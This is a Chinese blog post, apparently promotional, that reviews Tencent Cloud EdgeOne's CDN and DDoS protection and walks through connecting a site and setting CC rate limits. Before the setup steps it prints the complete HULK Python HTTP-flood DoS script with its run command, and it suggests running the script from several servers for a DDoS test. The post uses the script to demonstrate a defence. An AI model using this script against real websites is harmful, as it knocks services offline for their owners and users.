腾讯云Edgeone为我的网站保驾护航

文章目录

  • 前言
  • 边缘安全加速平台介绍
  • 模拟网站被攻击
    • 攻击脚本
    • 攻击脚本执行
  • 网站快速接入 EdgeOne
    • 前提条件(注意事项)
    • 添加站点
    • 添加加速域名
  • EdgeOne 防护效果
  • EdgeOne 体验感受
  • 总结

前言

众所周知,网站如果没有安全防护,极易遭受恶意攻击,导致运行受阻甚至瘫痪。为保障网站的安全稳定运行,必须采取诸如CDN加速与DDoS防护等措施,为用户提供安全、可靠的服务。

本文将基于腾讯云边缘安全加速平台,介绍网站接入CDN和DDoS防护的重要性、实施方法以及最佳实践,为大家提供有价值的参考。

边缘安全加速平台介绍

边缘安全加速平台全称 Tencent cloud EdgeOne ,简称 EO(下文简称为 EdgeOne)。

一张图看懂EdgeOne是什么。

EdgeOne
如图所示,当用户向源站发起请求时,EdgeOne会依托腾讯边缘计算节点,为网站提供全方位的边界保护,包括DDOS防护、CC防护、WEB安全防护以及BOT安全防护等。不仅如此,还为用户提供网站加速服务,通过综合的安全防护与加速功能,为用户的网站提供强有力的支持与保障。

简单来讲,EdgeOne 就是CDN和高仿服务器的结合体

更详细的介绍可以移步至官网。

模拟网站被攻击

在网站接入EdgeOne前,先模拟一下被攻击,看一看服务器被攻击的状态。

攻击脚本

这里准备一个攻击脚本。这个脚本是一个简单的HTTP请求攻击脚本。它使用多线程来发送大量的HTTP请求到指定的URL,以此方式尝试对目标服务器造成拒绝服务(DoS)攻击。

仅用于学习和教育目的,不应该用于任何非法或不道德的活动。

import urllib2
import sys
import threading
import random
import re#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0def inc_counter():global request_counterrequest_counter+=1def set_flag(val):global flagflag=valdef set_safe():global safesafe=1# generates a user agent array
def useragent_list():global headers_useragentsheaders_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')return(headers_useragents)# generates a referer array
def referer_list():global headers_referersheaders_referers.append('http://www.google.com/?q=')headers_referers.append('http://www.usatoday.com/search/results?q=')headers_referers.append('http://engadget.search.aol.com/search?q=')headers_referers.append('http://' + host + '/')return(headers_referers)#builds random ascii string
def buildblock(size):out_str = ''for i in range(0, size):a = random.randint(65, 90)out_str += chr(a)return(out_str)def usage():print '---------------------------------------------------'print 'USAGE: python hulk.py <url>'print 'you can add "safe" after url, to autoshut after dos'print '---------------------------------------------------'#http request
def httpcall(url):useragent_list()referer_list()code=0if url.count("?")>0:param_joiner="&"else:param_joiner="?"request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))request.add_header('User-Agent', random.choice(headers_useragents))request.add_header('Cache-Control', 'no-cache')request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))request.add_header('Keep-Alive', random.randint(110,120))request.add_header('Connection', 'keep-alive')request.add_header('Host',host)try:urllib2.urlopen(request)except urllib2.HTTPError, e:#print e.codeset_flag(1)print 'Response Code 500'code=500except urllib2.URLError, e:#print e.reasonsys.exit()else:inc_counter()urllib2.urlopen(request)return(code)		#http caller thread 
class HTTPThread(threading.Thread):def run(self):try:while flag<2:code=httpcall(url)if (code==500) & (safe==1):set_flag(2)except Exception, ex:pass# monitors http threads and counts requests
class MonitorThread(threading.Thread):def run(self):previous=request_counterwhile flag==0:if (previous+100<request_counter) & (previous<>request_counter):print "%d Requests Sent" % (request_counter)previous=request_counterif flag==2:print "\n-- HULK Attack Finished --"#execute 
if len(sys.argv) < 2:usage()sys.exit()
else:if sys.argv[1]=="help":usage()sys.exit()else:print "-- HULK Attack Started --"if len(sys.argv)== 3:if sys.argv[2]=="safe":set_safe()url = sys.argv[1]if url.count("/")==2:url = url + "/"m = re.search('http\://([^/]*)/?.*', url)host = m.group(1)for i in range(500):t = HTTPThread()t.start()t = MonitorThread()t.start()

攻击脚本执行

在脚本目录执行 python hulk.py http://www.xxx.xx 对该服务器进行攻击。(有条件的可以分发到多台服务器进行DDos测试)

可以看到,在没有任何防护的情况下,第二批请求就可以让网站崩溃了,直接返回500。

此时我的服务器监控是这样的。

网站快速接入 EdgeOne

接下来,将自己的网站接入EdgeOne,达到安全加速的效果。下面是接入步骤。

前提条件(注意事项)

在接入EdgeOne之前,有两个注意事项:

  1. 域名要先备案,否则无法接入。如果没有备案的前往域名备案处,备案时长大概2~3天。
  2. 如果是阿里云的域名,需要在阿里云域名解析处将DNS改为腾讯云的。然后再来云解析DNS添加EdgeOne的DNS解析记录。

一定要注意!!!

添加站点

在进入EdgeOne控制台后添加一个站点,如下图。

添加站点
输入站点名称,填写域名即可。
站点名称
选择EdgeOne套餐,这里已经购买,直接选择。
套餐

接下来选择加速区和接入模式。

这里加速区选择【全球可用区】,接入模式选择 CNAME 接入。

选择加速区和接入模式
最后将DNS解析添加至域名解析处,验证完成即可。

验证

添加加速域名

站点添加完成后就可以添加速域名,这一步操作完成后,这个域名就会成功接入EdgeOne,你的网站就会受到EdgeOne的保护了。下面是完整的操作步骤:

1.进入站点添加域名。

添加

2.配置域名

这里的配置项简单说明一下:

加速域名:填写域名对应的主机记录值即可。例如:当前需添加的加速网站为 www.example.com,这里填写为 www 即可。
源站配置:配置你的服务器IP。
IPv6 访问:根据自己的需求配置。
回源协议:根据自己的需求配置。
回源端口:根据自己的需求配置。

配置:在这一步会根据你选择的配追添加【规则引擎】,也可跳过该步骤,后续自行添加。

最后,在云解析DNS按照下图中配置添加解析记录。

EdgeOne 防护效果

现在,将网站接入EdgeOne后,看一下能否为我们抵挡住恶意攻击。

再次执行 python hulk.py http://www.xxx.xx 对服务器进行攻击。此时,会看到EdgeOne控制台上会显示访问数据。

这里以CC防护为例进行设置。EdgeOne默认配置比较宽松,因为我的服务器配置较低,所以还需要进行一些配置才能达到防护效果。

这里我将其设置为紧急。当客户端请求超过40次/10秒,就可以紧急防护。


此时,再次执行脚本,就会发现网站已经起到防护效果。

当然,EdgeOne支持多种防护配置,比如配置访问 IP 黑白名单、Referer 黑名单、UA 黑白名单或地域限制等。还有各种组合配置可以移步 边缘安全加速平台 EO > 安全防护。

EdgeOne 体验感受

经过本次实践,EdgeOne给我留下了以下几点深刻的感受:

  1. EdgeOne实现的安全防护与加速一体化功能,明显提升了产品的性能和用户接受度,企业无需再分别采购CDN、DDoS等独立服务,大大简化了企业的选择与部署流程。
  2. 在配置方面,EdgeOne提供了全站一键配置,用户只需通过简单的操作即可实现全局配置,不用进行繁琐的手动设置,大大简化了配置流程,对于用户来说,提高了产品的易用性。
  3. 特别关注了EdgeOne的计费模式,发现EdgeOne在计费方面有一定的优势,如“干净流量”计费模式。也就是说,以后网站的安全防护、加速成本会大大的降低。

总结

在数字化时代,网络安全已经成为一项至关重要的任务,尤其是在保障网站安全稳定运行方面。依托EdgeOne的加速与安全防护一体化解决方案,我们能够迅速搭建起一套全面且高效的网站安全防护体系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/23331.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

github异常问题总结

问题1&#xff1a; gitgitlab.gz.cvte.cn: Permission denied (publickey). fatal: Could not read from remote repository.Please make sure you have the correct access rights and the repository exists.解决方法&#xff1a; 这个错误表示 GitLab 服务器拒绝了你的 SSH…

「动态规划」如何求下降路径最小和?

931. 下降路径最小和https://leetcode.cn/problems/minimum-falling-path-sum/description/ 给你一个n x n的方形整数数组matrix&#xff0c;请你找出并返回通过matrix的下降路径的最小和。下降路径可以从第一行中的任何元素开始&#xff0c;并从每一行中选择一个元素。在下一…

【Altium】AD-原理图中使用多通道问题

【更多软件使用问题请点击亿道电子官方网站】 1、 文档目标 解决在原理图主图中&#xff0c;对子图使用多通道命令后&#xff0c;子图未形成多个通道的问题。 2、 问题场景 客户手中的工程文件&#xff0c;主图中对子图使用了多通道命令&#xff0c;子图图纸并未形成多通道…

【全开源】废品回收垃圾回收小程序APP公众号源码PHP版本

&#x1f31f;废品回收小程序&#xff1a;绿色生活的新助手&#x1f331; 一、引言 随着环保意识的逐渐提高&#xff0c;废品回收成为了我们日常生活中的重要一环。但是&#xff0c;如何更方便、高效地进行废品回收呢&#xff1f;今天&#xff0c;我要向大家推荐一款超级实用…

flutter封装日历选择器(单日选择)

简单封装&#xff1a; 引入库&#xff1a;table_calendar import package:generated/l10n.dart; import package:jade/utils/JadeColors.dart; import package:jade/utils/Utils.dart; import package:util/easy_loading_util.dart; import package:flutter/material.dart; im…

HTML跨年烟花

目录 写在前面 关于小编 HTML简介 程序设计 系列文章 写在后面 写在前面 学会了这个html烟花秀&#xff0c;跨年就不缺文案喽~ 关于小编 平易近人&#xff0c;慈眉善目&#xff0c;爱交朋友&#xff0c;舍己为人&#xff0c;和蔼可亲&#xff0c;能说会道&#xff0c;…

Linux网络编程:回顾网络通信

1.数据从应用层到数据链路层的本质 数据的封装&#xff1a; 用户在用户级缓冲区输入数据&#xff0c;经过应用层协议进行序列化成字节流数据&#xff0c;拷贝到传输层的缓冲区。而操作系统在传输层维护了sk_buff这一个结构体&#xff0c;然后data指针指向这段数据的开头&#x…

api网关kong对高频的慢接口进行熔断

一、背景 在生产环境&#xff0c;后端服务的接口响应非常慢&#xff0c;是因为数据库未创建索引导致。 如果QPS低的时候&#xff0c;因为后端服务有6个高配置的节点&#xff0c;虽然接口慢&#xff0c;还未影响到服务的正常运行。 但是&#xff0c;当QPS很高的时候&#xff0c…

vue3 递归循环展示下级盒子

index.vue主文件 <template><div><RecursiveCard :data"rootTask" /></div> </template><script> import { reactive } from vue; import RecursiveCard from ./test.vue; // 递归组件的路径export default {components: {Recu…

广东智慧物流2024年端午节放假安排

广东智慧物流2024年端午节放假安排

使用HTML、CSS和JavaScript编写一个注册界面(一)

倘若文章或代码中有任何错误或疑惑&#xff0c;欢迎提出交流哦~ HTML和CSS 首先&#xff0c;我们需要编写一个简洁的注册界面。 简单编写下&#xff0c;如下&#xff1a; 呈现效果为&#xff1a; <!DOCTYPE html> <html lang"en"><head><me…

从普通篮球场到高端气膜馆:全新运动体验的打造—轻空间

在现代体育设施的发展中&#xff0c;气膜馆以其独特的优势和创新设计&#xff0c;正在改变我们对运动场所的传统认知。将一片普通的篮球场转变为高逼格的气膜馆&#xff0c;不仅可行&#xff0c;而且能提供极大的便利和众多的好处&#xff0c;让运动体验更上一层楼。 气膜馆的优…

巨详细Linux卸载Redis教程

巨详细Linux卸载Redis教程 1、检查系统残留redis数据2、卸载系统残留redis数据 1、检查系统残留redis数据 redis等数据相关中间件安装前一定要进行残留数据检查&#xff0c;排除后期存在的各种隐患。 #检查有没有残留客户端 whereis redis-cli #检查有没有残留服务 whereis r…

Git 版本控制系统详解

目录 Git 版本控制系统详解一、Git 的作用1. 版本控制2. 分支管理3. 分布式开发4. 协作开发 二、Git 的安装和基本使用1. 安装 Git1.1 Windows1.2 macOS1.3 Linux 2. 配置 Git3. 创建和克隆仓库3.1 创建本地仓库3.2 克隆远程仓库 4. 基本操作4.1 添加文件到暂存区4.2 提交更改4…

开发项目功能开发设计模板

功能开发设计是一个系统化的过程&#xff0c;旨在确保新功能的开发既满足用户需求又符合技术标准。以下是一个适用于大多数软件开发项目功能开发设计模板&#xff1a;

94、python-第三阶段-4-数据计算-map方法

直接运行会报错&#xff0c;需要配置下python环境变量 from pyspark import SparkConf,SparkContext import os os.environ[PYSPARK_PYTHON]"D:/Program Files/Python/Python3.13/python.exe" conf SparkConf().setMaster("local[*]").setAppName("…

解析!领先的Web应用程序安全测试工具—Burp Suite

Burp Suite 是一款领先的Web应用程序安全测试工具。它被广泛用于识别和修复Web应用程序中的漏洞。 通过使用Burp Suite&#xff0c;组织可以显著提升其Web应用程序的安全性&#xff0c;及时发现并修复漏洞&#xff0c;保障业务的持续运行和数据安全。 Burp Suite 最新版下载h…

go中的指针详解

因为大一的时候c语言没学好,所以看到指针很心烦 ,后来速成了一遍go ,每每写道指针部分就开始遗忘 ,所以专门对指针部分做了此笔记 概念 在 Go 语言中&#xff0c;指针是一种变量类型&#xff0c;它存储的是另一个变量的内存地址。通过指针&#xff0c;你可以访问和修改它指向…

商业代理:利用代理服务器进行市场研究和竞争分析

代理是一种转换设备网络流量并从技术上使用户隐形的工具。个人使用它们来隐藏他们的在线活动并绕过地理限制。企业使用它们来支持他们的市场和竞争对手研究等。 继续阅读以了解代理的特点以及它们为企业研究工作带来的优势。 代理的主要功能 代理服务器是设备和网站服务器之间…

Transformer学习(4)

上篇文章完成了Transformer剩下组件的编写&#xff0c;因此本文就可以开始训练。 本文主要介绍训练时要做的一些事情&#xff0c;包括定义损失函数、学习率调整、优化器等。 下篇文章会探讨如何在多GPU上进行并行训练&#xff0c;加速训练过程。 数据集简介 从网上找到一份中…